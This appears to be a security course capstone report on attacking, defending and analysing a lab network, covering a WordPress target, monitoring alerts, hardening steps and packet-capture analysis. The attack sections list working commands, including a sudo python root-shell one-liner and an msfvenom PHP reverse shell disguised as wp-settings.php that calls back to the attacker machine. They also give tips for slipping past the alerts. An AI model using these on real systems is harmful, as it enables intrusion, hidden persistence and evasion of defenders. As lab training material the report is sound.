

Final Engagement

Attack, Defense & Analysis of a Vulnerable Network
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
Offensive Measures

Defensive Measures

Network Traffic Analysis

Network Topology & Critical Vulnerabilities

Network Topology



Network

Domain:192.168.1.0/24
Netmask: 255.255.255.240
Gateway:192.168.1.0

Machines

IPv4: 192.168.1.90
OS: Linux
Hostname: Attacker Machine

IPv4: 192.168.1.105
OS: Linux
Hostname: Capstone
Open Ports: 22, 80

IPv4: 192.168.1.110
OS: Linux
Hostname: Target 1
Open Ports: 22, 80, 111, 139, 445

IPv4: 192.168.1.115
OS: Linux
Hostname: Target 2
Open Ports: 22, 80, 111, 139, 445

IPv4: 192.168.1.100
OS: Linux
Hostname: ELK Server
Open Ports: 22, 80, 111, 139, 445

Critical Vulnerabilities: Target 1

Our assessment uncovered the following critical vulnerabilities in **Target 1**.

Vulnerability	Description	Impact
Wordpress User Enumeration	Users are discoverable from wpscan.	Combined with poor password policy, allows easy access.
Weak Password Policy	Short passwords with only lowercase letters are allowed.	Passwords so easy that they can be guessed.
Improper Permissions	Users have access to sensitive information.	All users are able to access the wp-config.php file to view the database password.
More Improper Permissions	Steven has access to run python as root.	This allows an attacker to easily gain a root shell.

Alerts Implemented

Excessive HTTP Errors

- This watch monitors http response codes above 400
- The alert threshold is 5 or more error response codes within a 5 minute period.

Edit Excessive HTTP Errors

Send an alert when your specified condition is met. Your watch will run every 1 minute.

Name
Excessive HTTP Errors

Indices to query
packetbeat-*

Time field
@timestamp

Run watch every
1 minute

Use * to broaden your query.

Match the following condition

WHEN count() GROUPED OVER top 5 'http.response.status_code' IS ABOVE 400 FOR THE LAST 5 minutes

Perform 1 action when condition is met

> Logging

Save alert Cancel Show request

HTTP Request Size Monitor

- This watch monitors the size of http request.
- The alert threshold is 3.5kb a minute.

Edit HTTP Request Size Monitor

Send an alert when your specified condition is met. Your watch will run every 1 minute.

Name

HTTP Request Size Monitor


Indices to query Use * to broaden your query.

Time field


Run watch every

Match the following condition

WHEN sum() OF http.request.bytes OVER all documents IS ABOVE 3500 FOR THE LAST 1 minute



Perform 1 action when condition is met [Add action](#)

>  Logging

[Save alert](#) [Cancel](#) [Show request](#)

CPU Usage Monitor

Summarize the following:

- This watch monitors overall use of system resources by percent.
- The alert threshold is 50% for in the last 5 minutes.

Edit CPU Usage Monitor

Send an alert when your specified condition is met. Your watch will run every 1 minute.

Name

CPU Usage Monitor

Indices to query

metricbeat-*

Time field

@timestamp

Run watch every


1

minute

Use * to broaden your query.

Match the following condition

WHEN max() OF system.process.cpu.total.pct OVER all documents IS ABOVE 0.5 FOR THE LAST 5 minutes



Perform 1 action when condition is met

Add action

> Logging

Save alert

Cancel

Show request

Exploits Used

Exploitation: nmap Scan


- Assuming we knew nothing about this machine, we would perform an nmap scan to find open ports and services.
- Here we can see that the target is running an apache web server.

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-16 10:52 PST
Nmap scan report for 192.168.1.110
Host is up (0.0013s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.58 seconds
```

Exploitation: nmap Scan (cont'd)

- In most wordpress sites, we could determine that the site was built on wordpress by examining the source files with the developer tools in our browser.
- If it is not clear from the information available in the browser, tools such as nmap and dirbuster can be used to discover the subdomains on a server which will give us more information.



```
root@Kali:~# nmap -script http-enum 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-17 14:29 PST
Nmap scan report for 192.168.1.110
Host is up (0.0014s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
| http-enum:
|   /wordpress/: Blog
|   /wordpress/wp-login.php: Wordpress login page.
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|   /img/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|   /manual/: Potentially interesting folder
|   /vendor/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|_
111/tcp    open  rpcbind
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)
```

Exploitation: wpscan

- To obtain the usernames on the server, we can use wpscan.
- `wpscan --url 192.168.1.110/wordpress --enumerate u`

```
[i] User(s) Identified:
[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulnDB.com/users/sign\_up
[+] Finished: Tue Nov 17 14:33:05 2020
[+] Requests Done: 35
[+] Cached Requests: 17
[+] Data Sent: 7.943 KB
[+] Data Received: 173.314 KB
[+] Memory used: 110.133 MB
[+] Elapsed time: 00:00:03
```

Exploitation: Weak Password Policy

- There appears to be no restriction of any kind on the passwords allowed by this system.
- Michael's password is his name, all lowercase.
- This password can easily be guessed, and would require very little time for a tool such as hydra or john to brute force.

```
root@Kali:/usr/bin# ssh michael@192.168.1.110
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Nov 18 07:18:19 2020 from 192.168.1.90
michael@target1:~$
```


Exploitation: Improper Permissions

- All users have access to the wp-config.php file which contains the database name and login information.
- The availability of this information makes it possible for any user on this system to retrieve hashes of the passwords stored in the wp_user table.

```
-rwxrwxrwx 1 root root 364 Dec 19 2015 wp-blog-header.php
-rwxrwxrwx 1 root root 1.6K Aug 29 2016 wp-comments-post.php
-rw-rw-rw- 1 www-data www-data 3.1K Aug 13 2018 wp-config.php
-rwxrwxrwx 1 root root 2.8K Dec 16 2015 wp-config-sample.php
drwxrwxrwx 6 root root 4.0K Nov 18 06:15 wp-content
```

Exploitation: More Improper Permissions

- Steven has access to run python as the super user.
- Running python programs as the superuser allows Steven's account to do pretty much anything, including using the pty module to gain a root shell.

```
$ whoami
steven
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home# whoami
root
```


Avoiding Detection

Stealth Exploitation of nmap scan

Monitoring Overview

- Nmap is sending packets to the whole range of of ip addresses that we specified so it will trigger both the http_errors and http_request_size alarms.

Mitigating Detection

- Running an nmap scan with only the -sS option will not trigger either alarm.
- This prevents us from enumerating the subdomains on the server but, because we can still see that port 80 is open for http traffic, we can visit the site to search for additional information without risking detection.

Stealth Exploitation of WP Enumeration

Monitoring Overview

- Using wpscan will trigger alarms for http.request.bytes because it is using the layout of the wp site to gain information by sending many http requests.

Mitigating Detection

- Because we only need to find the users, we can just use the layout ourselves by adding `/?author=#` to the end of the URL, starting at 1 and going until we get a 404 error.
- There are only 2 users for this wp site so we will be well below any reasonable threshold for http requests or errors.

Stealth Exploitation of Weak Password Policy

Monitoring Overview

- SSH connections can be detected by monitoring for traffic on port 22.
- SSH should either be disabled or should require a stronger authentication method.

Mitigating Detection

- The passwords for root and michael are so predictable that they do not even require brute force techniques.
- Based on the current system configuration, no additional measures are required to quietly connect to these machines.

Stealth Exploitation of Improper Permissions

Monitoring Overview

- None of our alerts would trigger due to a user accessing the wp-config.php file.
- If the system administrator has made this file readable by all users, it is extremely unlikely that they are monitoring user access of this file.

Stealth Exploitation of More Improper Permissions

Monitoring Overview

- None of our alarms would be triggered by running python commands as the super user to escalate permissions.
- Steven probably required this permission to run a python script as the super user at some point, and the system administrator never removed this permission. It is extremely unlikely that the system administrator is monitoring Steven's execution of python scripts as super user.

Maintaining Access

Backdooring the Target

Backdoor Overview

- To create persistence, we uploaded a reverse php shell file created with msfvenom.
 - `msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.90 LPORT=1776 -f raw -o wp-settings.php`
- It was placed on the target machine by using the scp command.

```
root@Kali:/usr/share/webshells/php# scp php-reverse-shell1.php michael@192.168.1.110:/var/www/html/vendor/test/wp-settings.php
michael@192.168.1.110's password:
php-reverse-shell1.php 100% 5494 4.7MB/s 00:00
```

- Once the php file is on the web server, a connection can be made with metasploit.

```
use exploit/multi/handler
set LHOST <$LOCAL_IP>
set LPORT <$LOCAL_PORT>
set PAYLOAD php/meterpreter/reverse_tcp
exploit
```


Hardening

Hardening Against Weak Password Requirements on Target 1

Edit the `/etc/security/pwquality.conf` file and run `chage` to force users to set stronger passwords when next they login.

- This will make all user have passwords of significant complexity when next they login.
- RUN:

```
chage -d 0 <user_name>
```

```
nano /etc/security/pwquality.conf
```

```
Add option 'minlen = 16'
```

```
Add option 'minclass = 4'
```

Hardening Against Improper Access Control on Target 1

Block all incoming SSH connections

- Implicit denial is the best practice for remote connections.
- RUN:
ufw deny ssh

Hardening Against Improper Permissions on Target 1

Restrict user 'steven' from running python scripts by editing the sudoers configuration file.

- Preventing non root users from running python scripts, will make it more difficult for potential attackers accomplish privilege escalation.
- RUN:
visudo
remove '/usr/bin/python' from user 'steven'.

Implementing Patches

Ansible Playbook

```
- name: "Patching security issues discovered in red team exercise"
hosts: localhost
connection: local
tasks:
# download stop user enumeration plugin and place in correct directory (https://wordpress.org/plugins/stop-user-enumeration/#installation)
# user will still need to enable plugin through the plugin manager in wordpress

- name: download stop user enumeration
  get_url:
    url: https://downloads.wordpress.org/plugin/stop-user-enumeration.1.3.28.zip
    dest: /var/www/html/wordpress/wp-content

- name: extract stop user enumeration plugin
  unarchive:
    src: '/var/www/html/wordpress/wp-content/stop-user-enumeration.1.3.28.zip'
    dest: '/var/www/html/wordpress/wp-content/'

# replace common-password file
- name: replace password files
  copy:
    content: common-password
    dest: /etc/pam.d/common-password

# change permissions on wp-config.php file
- name: fix wp-config.php file permissions
  file: path=/var/www/html/wordpress/wp-config.php mode=700

# replace sudoers file to restore default settings
- name: replace sudoers file
  copy:
    content: sudoers
    dest: /etc/sudoers
```

Traffic Profile

Traffic Profile

Our analysis identified the following characteristics of the traffic on the network:

Feature	Value	Description
Top Talkers (IP Addresses)	172.16.4.205 10.6.12.203 10.0.0.201	Machines that sent the most traffic.
Most Common Protocols	HTTP, NetBIOS, DNS	Three most common protocols on the network.
# of Unique IP Addresses	808	Count of observed IP addresses.
Subnets	10.0.0.0/24 172.16.4.0/24 10.6.12.0/24	Observed subnet ranges.
# of Malware Species	1	Number of malware binaries identified in traffic.

Behavioral Analysis

Users were observed engaging in the following kinds of activity.

“Normal” Activity

- HTTP Traffic
- DNS Traffic


Suspicious Activity

- Dynamic Link Library (DLL) download
- Torrent download
- Active Directory set up on the network.

Normal Activity

Web Surfing

- The user at 10.11.11.195 has spent time on a lifestyle blog.
- User 10.11.11.217 visited iphonehacks.com
- User 10.11.11.195 visited sabethahospital.com
- Associated with web browsing, we see many DNS queries.



NetBIOS Traffic

- NetBIOS provides session services, allowing applications on separate computers to communicate over a local area network.
- These connections should be expected on an internal network.

No.	Time	Source	Destination	Protocol	Length	Info
49844	607.942939100	10.11.11.200	10.11.11.255	NBNS	92	Name query NB WWW.BING.COM<00>
49845	607.944408400	10.11.11.200	10.11.11.255	NBNS	92	Name query NB WWW.BING.COM<00>
49846	607.945886400	10.11.11.200	10.11.11.255	NBNS	92	Name query NB WWW.BING.COM<00>
49847	607.947352500	10.11.11.200	10.11.11.255	NBNS	92	Name query NB P.BM23.COM<00>
49902	608.450937700	10.11.11.200	10.11.11.255	NBNS	92	Name query NB WWW.BING.COM<00>
49928	608.705774200	10.11.11.200	10.11.11.255	NBNS	92	Name query NB WWW.BING.COM<00>
49929	608.707226500	10.11.11.200	10.11.11.255	NBNS	92	Name query NB WWW.BING.COM<00>
49930	608.708697400	10.11.11.200	10.11.11.255	NBNS	92	Name query NB WWW.BING.COM<00>
49931	608.710174400	10.11.11.200	10.11.11.255	NBNS	92	Name query NB P.BM23.COM<00>
49933	608.712896400	10.11.11.200	10.11.11.255	NBNS	92	Name query NB WWW.BING.COM<00>
49943	608.726047400	10.11.11.200	10.11.11.255	NBNS	92	Name query NB P.BM23.COM<00>
49945	608.728825900	10.11.11.200	10.11.11.255	NBNS	92	Name query NB P.BM23.COM<00>
49946	608.730300000	10.11.11.200	10.11.11.255	NBNS	92	Name query NB WWW.BING.COM<00>
49949	608.734247900	10.11.11.200	10.11.11.255	NBNS	92	Name query NB P.BM23.COM<00>
49952	608.738237400	10.11.11.200	10.11.11.255	NBNS	92	Name query NB P.BM23.COM<00>
50589	612.564193100	10.11.11.200	10.11.11.255	NBNS	92	Name query NB WWW.BING.COM<00>

▶ Frame 49846: 92 bytes on wire (736 bits), 92 bytes captured (736 bits) on interface eth0, id 0
 ▶ Ethernet II, Src: Dell_8a:50:a9 (84:8f:69:8a:50:a9), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
 ▶ Internet Protocol Version 4, Src: 10.11.11.200, Dst: 10.11.11.255
 ▶ User Datagram Protocol, Src Port: 137, Dst Port: 137
 ▶ NetBIOS Name Service

Malicious Activity

Malicious Activity: Infected Windows Machine

- 172.16.4.205 is an infected windows machine. We see this machine connecting to several other machines on the network

The image shows a Wireshark packet capture window titled "Wireshark · Follow TCP Stream (tcp.stream eq 93) · pcap.pcap". The left pane displays a list of network packets. Packet 32029 is selected, showing a POST request from 172.16.4.205 to 31.7.62.214. The right pane shows the details of this packet, including the HTTP request and response. The packet list shows a series of connections from 172.16.4.205 to 31.7.62.214, indicating a persistent connection. The packet details for packet 32029 show a POST request to http://31.7.62.214/fakeurl.htm with a User-Agent of NetSupport Manager/1.3. The packet bytes pane shows the raw data of the packet.

No.	Time	Source	Destination
31976	462.078924000	172.16.4.205	31.7.62.214
31978	462.084330100	172.16.4.205	31.7.62.214
31980	462.089649500	172.16.4.205	31.7.62.214
31982	462.095021800	172.16.4.205	31.7.62.214
31984	462.100567900	172.16.4.205	31.7.62.214
31986	462.105785900	172.16.4.205	31.7.62.214
32005	462.205481900	172.16.4.205	31.7.62.214
32013	462.220910300	172.16.4.205	31.7.62.214
32015	462.226282400	172.16.4.205	31.7.62.214
32017	462.231709200	172.16.4.205	31.7.62.214
32019	462.237036300	172.16.4.205	31.7.62.214
32021	462.242411500	172.16.4.205	31.7.62.214
32025	462.251307000	172.16.4.205	31.7.62.214
32027	462.256683500	172.16.4.205	31.7.62.214
32029	462.262097000	172.16.4.205	31.7.62.214
32031	462.267435900	172.16.4.205	31.7.62.214

Frame 32029: 282 bytes on wire (2256 bits), 282 bytes captured on interface 0 (Ethernet II), Src: LenovoEM b0:63:a4 (08:59:07:b0:63:a4), Dst: 31.7.62.214 (01:00:00:00:00:00), Internet Protocol Version 4, Src: 172.16.4.205, Dst: 31.7.62.214, Transmission Control Protocol, Src Port: 49255, Dst Port: 443, [Stream index: 93], [TCP Segment Len: 228], Sequence number: 12144 (relative sequence number), Sequence number (raw): 3177388269, [Next sequence number: 12372 (relative sequence number), Acknowledgment number: 520 (relative ack number), Acknowledgment number (raw): 1849007185, 0101 ... = Header Length: 20 bytes (5), Flags: 0x018 (PSH, ACK), Window size value: 257, [Calculated window size: 65792], [Window size scaling factor: 256]

POST http://31.7.62.214/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Host: 31.7.62.214
Connection: Keep-Alive

CMD=POLL
INFO=1
ACK=1
HTTP/1.1 200 OK
Server: NetSupport Gateway/1.6 (Windows NT)
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Connection: Keep-Alive

CMD=ENCD
ES=1
DATA=g+S{...\\...W...bb...}.W}.o..X..Xf...
POST http://31.7.62.214/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 240
Host: 31.7.62.214
Connection: Keep-Alive

CMD=ENCD
ES=1
DATA=u.2h.r..4.].%y.....=I...D3.W..1.7?...=0...F.f...&t.[.6ra.L...C.Lr...vJ.OE@k.).[.jo\..s.+Y.....]8.....o...MQ..Y.....z.8.ja5.(...../.7.. \.({..."}y.o..h..l.....Hb...@C.=@.....6.p...g..r...f.V=@..t..i.....
HTTP/1.1 200 OK
Server: NetSupport Gateway/1.6 (Windows NT)
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
Connection: Keep-Alive

CMD=ENCD
ES=1
DATA=u.2h.r.. \...W.h.E..=I...=n.....7s.4...}.X...),,,.Dq.,....(4.).%y-A9H=n .!:"PfdJU,..#.1.lt:.m.w.q....+PQ^HK8.....u...
POST http://31.7.62.214/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3

114 client pkts, 2 server pkts, 4 turns.

Entire conversation (26 kB) Show and save data as ASCII Stream 93

Find: Find Next

Filter Out This Stream Print Save as... Back X Close Help

Malicious Behavior: Trojan Download

- The windows machine 10.6.12.203 downloaded a malicious DLL file that was identified as a known Trojan

No.	Source	Destination	Protocol	Length	Info	Time
56583	10.6.12.12	10.6.12.203	SMB2	314	Session Setup Response	646.134369400
56419	10.6.12.12	10.6.12.203	SMB2	314	Session Setup Response	645.356429400
56234	10.6.12.203	10.6.12.12	RPC_NETLOGON	314	NetrServerAuthenticate3 request	644.509359200
56214	10.6.12.203	10.6.12.12	CLDAP	313	searchRequest(1) "<ROOT>" baseObject	644.451398900
58752	10.6.12.203	205.185.125.104	HTTP	312	GET /files/june11.dll HTTP/1.1	658.636633700
62080	10.6.12.203	10.6.12.12	SMB2	310	Create Request File:	706.733083700
57356	10.6.12.203	10.6.12.12	SMB2	310	Negotiate Protocol Request	649.296272700
56216	10.6.12.203	10.6.12.12	CLDAP	310	searchRequest(2) "<ROOT>" baseObject	644.460471000
63144	5.101.51.151	10.6.12.203	HTTP	308	HTTP/1.1 200 OK (text/html)	724.346789500

▶ GET /files/june11.dll HTTP/1.1\r\n
Accept: */*\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)\r\n
Host: 205.185.125.104\r\n
Connection: Keep-Alive\r\n
▶ Cookie: _subid=3mmhfnd8jp\r\n
\r\n
[Full request URI: <http://205.185.125.104/files/june11.dll>]
[HTTP request 2/2]
[Prev request in frame: 58748]
[Response in frame: 59388]

Illegal Downloads: BitTorrent

- A user is violating company policy by downloading non work-related materials from torrents.

Packet list		Narrow & Wide		<input type="checkbox"/> Case sensitive	Display filter	bittorrent	Find	Can
No.	Source	Destination	Protocol	Length	Info		Time	
69962	10.0.0.201	62.210.200.57	BitTorrent	122	Handshake		771.188649000	
69984	62.210.200.57	10.0.0.201	BitTorrent	242	Handshake Extended		771.237608300	
69985	10.0.0.201	62.210.200.57	BitTorrent	766	Extended Bitfield, Len:0x1cb Port		771.249874200	
69991	10.0.0.201	61.245.142.233	BitTorrent	122	Handshake		771.262422900	
70023	62.210.200.57	10.0.0.201	BitTorrent	513	Bitfield, Len:0x1cb		771.349215200	
70146	61.245.142.233	10.0.0.201	BitTorrent	122	Handshake		771.640256500	
70147	10.0.0.201	61.245.142.233	BitTorrent	397	Extended Have All Allowed Fast, Piece (Idx:0xf5) Allowed Fast, Piece (Idx:0x9b)...		771.646483900	
70163	10.0.0.201	82.102.24.163	BitTorrent	122	Handshake		771.676909400	
70172	82.102.24.163	10.0.0.201	BitTorrent	242	Handshake Extended		771.693627900	
▶ Transmission Control Protocol, Src Port: 55020, Dst Port: 49846, Seq: 189, Ack: 781, Len: 459								
▼ [2 Reassembled TCP Segments (464 bytes): #69984(5), #70023(459)]								
[Frame: 69984, payload: 0-4 (5 bytes)]								
[Frame: 70023, payload: 5-463 (459 bytes)]								
[Segment count: 2]								
[Reassembled TCP length: 464]								
[Reassembled TCP Data: 000001cc05ffffffffffffffffffffffffffffffff...]								
▼ BitTorrent								
▼ Message: Len:460, Bitfield, Len:0x1cb								
Message Length: 460								
Message Type: Bitfield(5)								
Bitfield Len: 5								

Malicious Behavior: Active Directory configured on the network.

- User set up their own AD
 - DC is at 10.6.12.157

The image shows a Wireshark packet capture of NetBIOS Name Service (NBNS) traffic. The filter applied is 'ip.addr == 10.6.12.157 && nbns'. The packet list shows 15 packets, all of which are NBNS Registration requests from 10.6.12.157 to 10.6.12.255. The details pane shows the structure of the NetBIOS Name Service packet, including the Transaction ID (0xa002), Flags (0x2910), and a single query for the name 'DESKTOP-86J4BX<00>'.

No.	Time	Source	Destination	Protocol	Length	Info
55448	641.139081400	10.6.12.157	10.6.12.255	NBNS	110	Registration NB DESKTOP-86J4BX<00>
55449	641.140845000	10.6.12.157	10.6.12.255	NBNS	110	Registration NB FRANK-N-TED<00>
55706	642.173800800	10.6.12.157	10.6.12.255	NBNS	110	Registration NB FRANK-N-TED<00>
55707	642.175564000	10.6.12.157	10.6.12.255	NBNS	110	Registration NB DESKTOP-86J4BX<00>
55746	642.347264700	10.6.12.157	10.6.12.255	NBNS	110	Registration NB DESKTOP-86J4BX<20>
55778	642.450455300	10.6.12.157	10.6.12.255	NBNS	110	Registration NB DESKTOP-86J4BX<00>
55779	642.452268600	10.6.12.157	10.6.12.255	NBNS	110	Registration NB FRANK-N-TED<00>
55936	643.258892700	10.6.12.157	10.6.12.255	NBNS	110	Registration NB DESKTOP-86J4BX<20>
55982	643.413735400	10.6.12.157	10.6.12.255	NBNS	110	Registration NB DESKTOP-86J4BX<00>
55983	643.415500700	10.6.12.157	10.6.12.255	NBNS	110	Registration NB FRANK-N-TED<00>
55984	643.417257700	10.6.12.157	10.6.12.255	NBNS	110	Registration NB DESKTOP-86J4BX<20>
55989	643.432161200	10.6.12.157	10.6.12.255	NBNS	110	Registration NB DESKTOP-86J4BX<20>
57883	652.284832100	10.6.12.157	10.6.12.255	NBNS	92	Name query NB WPAD<00>

▼ NetBIOS Name Service
Transaction ID: 0xa002
Flags: 0x2910, Opcode: Registration, Recursion desired, Broadcast
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 1
▼ Queries
▼ DESKTOP-86J4BX<00>: type NB, class IN
Name: DESKTOP-86J4BX<00> (Workstation/Redirector)
Type: NB (32)
Class: IN (1)



The End